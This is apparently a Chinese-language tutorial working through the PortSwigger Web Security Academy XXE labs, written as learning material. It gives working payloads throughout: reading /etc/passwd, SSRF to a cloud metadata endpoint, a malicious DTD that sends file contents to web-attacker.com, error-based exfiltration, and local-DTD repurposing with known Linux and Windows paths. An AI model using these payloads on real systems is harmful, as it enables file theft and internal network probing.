1. 程式人生 > 實用技巧 >BurpWeb安全學院之XXE

BurpWeb安全學院之XXE

實驗室連結https://portswigger.net/web-security

XXE漏洞如何產生

一些應用程式使用XML格式在瀏覽器和伺服器之間傳輸資料.而伺服器端又沒有對XML資料進行很好的檢查,就可能產生XXE漏洞.

如: 某個網頁可能傳輸如下的資料

如果稍加修改:

利用XXE讀取檔案

要執行從伺服器的檔案系統中讀取任意檔案的XXE注入攻擊,需要修改兩處XML:

  • 引入(或編輯)一個DOCTYPE元素,該元素定義一個包含檔案路徑的外部實體。
  • 編輯應用程式響應中返回的XML中的資料值,以使用已定義的外部實體

例如,假設購物應用程式通過向伺服器提交以下XML來檢查產品的庫存:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

正常情況下會返回:

如果稍加修改:

先引入一個xxe的外部實體,再修改相應值

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

就可以讀取檔案

利用XXE執行SSRF攻擊

除了檢索敏感資料外,XXE攻擊的另一個主要影響是,它們可用於執行伺服器端請求偽造(SSRF) ,

這可能導致伺服器端應用程式對伺服器可以訪問的任何URL發出HTTP請求

通過檢視請求相應判斷請求資源是否存在等.

操作方法也是先引入一個實體,再替換響應值:

如下:

引入實體探測內網: 探測http://169.254.169.254/時

說明我們請求的資源存在,返回了一個目錄的名稱latest

持續的請求最終可以讀取到檔案

XXE盲注檢測

前面兩種都是有回顯情況下的XXE注入,但實際上XXE漏洞的許多情況都是沒有回顯的.

這意味著應用程式不會在其響應中返回任何已定義外部實體的值,因此無法直接檢索伺服器端檔案

但是可以通過別的方法來間接檢測

檢測方法:

  • 報錯注入
  • 與外網互動

通過Burpsuite的Collaborator可以測試XXE盲注

Burp Collaborator測試XXE盲注

具體使用可以參考 https://blog.csdn.net/fageweiketang/article/details/89073662

在BurpSuite專業版中.

開啟Collaborator Server

通過工具欄可以開啟

點選Copy to clipboard可以生成連線

類似xxx.burpcollaborator.net

當我們發現 存在疑似XXE漏洞,測試的時候只能看見"Invalid product ID"

我們修改為如下的XML

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net是Burp Collaborator 生成的

可以發現在Collaborator 中的回顯,就證明確實存在XXE.對方對該域名進行了HTTP請求和DNS解析

外部實體引數被過濾

在這個實驗中,引入外部實體引數,發現被檢測出來

可以用以下情況繞過

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>

XXE盲注利用

可以通過請求帶引數的方式將資料帶出到外網

如以下惡意的DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
  • 定義名為的XML引數實體file,其中包含/etc/passwd檔案的內容。
  • 定義一個名為的XML引數實體eval,其中包含另一個名為的XML引數實體的動態宣告exfiltrate。該exfiltrate實體將通過使含有的值的HTTP請求到攻擊者的web伺服器進行評價fileURL查詢字串內的實體。
  • 使用eval實體,這將導致exfiltrate執行實體的動態宣告。
  • 使用exfiltrate實體,以便通過請求指定的URL得到檔案內容。

這樣通過檢視日誌就可以檢視到檔案內容

上面的DTD必須託管在DTD平臺,因為外部DTD允許我們在第二個實體中包含一個實體,但它在內部DTD中被禁止

http://web-attacker.com/malicious.dtd 的內容為

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

如 抓到以下包後

我們在 http://accd1f0c1f3e93218058065a014f00db.web-security-academy.net/test.dtd 託管如下內容

裡面的連結為Burp Collaborator連結

然後修改包為:

可以在Collaborator裡面看到返回的資料

x就是/etc/hostname 檔案下的內容(也可能是第一行,多行情況下可以用其他協議)

XXE報錯注入

XXE盲注的另一種思路是讓XML解析器報錯

錯誤訊息可能包含敏感資料

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
  • 定義名為的XML引數實體file,其中包含/etc/passwd檔案的內容。
  • 定義一個名為的XML引數實體eval,其中包含另一個名為的XML引數實體的動態宣告error。該error實體將通過載入一個不存在的檔名稱中包含的價值進行評估file實體。
  • 使用eval實體,這將導致error執行實體的動態宣告。
  • 使用該error實體,以便通過嘗試載入不存在的檔案來,從而產生一條錯誤訊息,其中包含該不存在的檔案的名稱,即檔案的內容/etc/passwd

將以上內容託管到http://web-attacker.com/malicious.dtd

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

可以現在託管平臺下託管如下資料: (連結 https://ac7a1fe31fca4a0c80687b1101e600ac.web-security-academy.net/1.dtd )

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid123456aaaaa/%file;'>">
%eval;
%exfil;

將抓到的如下包

修改為:

利用本地DTD的XXE盲注

詳細原理以及利用場景: https://www.freebuf.com/articles/web/195899.html

在伺服器防火牆阻止外部DTD引用,我們就無法像以上那樣進行XXE盲注.

這時候可以 在目標主機上強制執行本地dtd檔案 , 並在其中重新定義一些引數實體引用

例如,假設伺服器檔案系統上該位置有一個DTD檔案/usr/local/app/schema.dtd ,並且此DTD檔案定義了一個名為custom_entity 的實體,攻擊者可以重新定義custom_entity 來進行儲存的XXE注入

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

該DTD執行以下步驟:

  • 定義一個實體引數 local_dtd ,引用內部的DTD檔案
  • 重新定義名為custom_entity的XML引數實體,構造基於錯誤的XXE盲注
  • 使用local_dtd

這樣就構造了基於錯誤的XXE盲注

由於此XXE攻擊涉及重新利用伺服器檔案系統上的現有DTD,因此關鍵的要求是找到合適的檔案 .

可以用一些框架固定的dtd檔案,可以通過是否儲存判斷DTD檔案是否存在

例如,使用GNOME桌面環境的Linux系統通常在DTD檔案/usr/share/yelp/dtd/docbookx.dtd

用以下payload能判斷該檔案是否存在

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

固定的DTD位置:

  • linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
  • Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

https://www.freebuf.com/articles/web/195899.html 最後有很多這樣的例子

下面是利用 GNOME桌面環境 下的 /usr/share/yelp/dtd/docbookx.dtd進行XXE盲注

docbookx.dtd中有預定義的實體引數ISOamso,重新定義ISOamso即可

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

抓到如下包

可以修改為:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>
">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>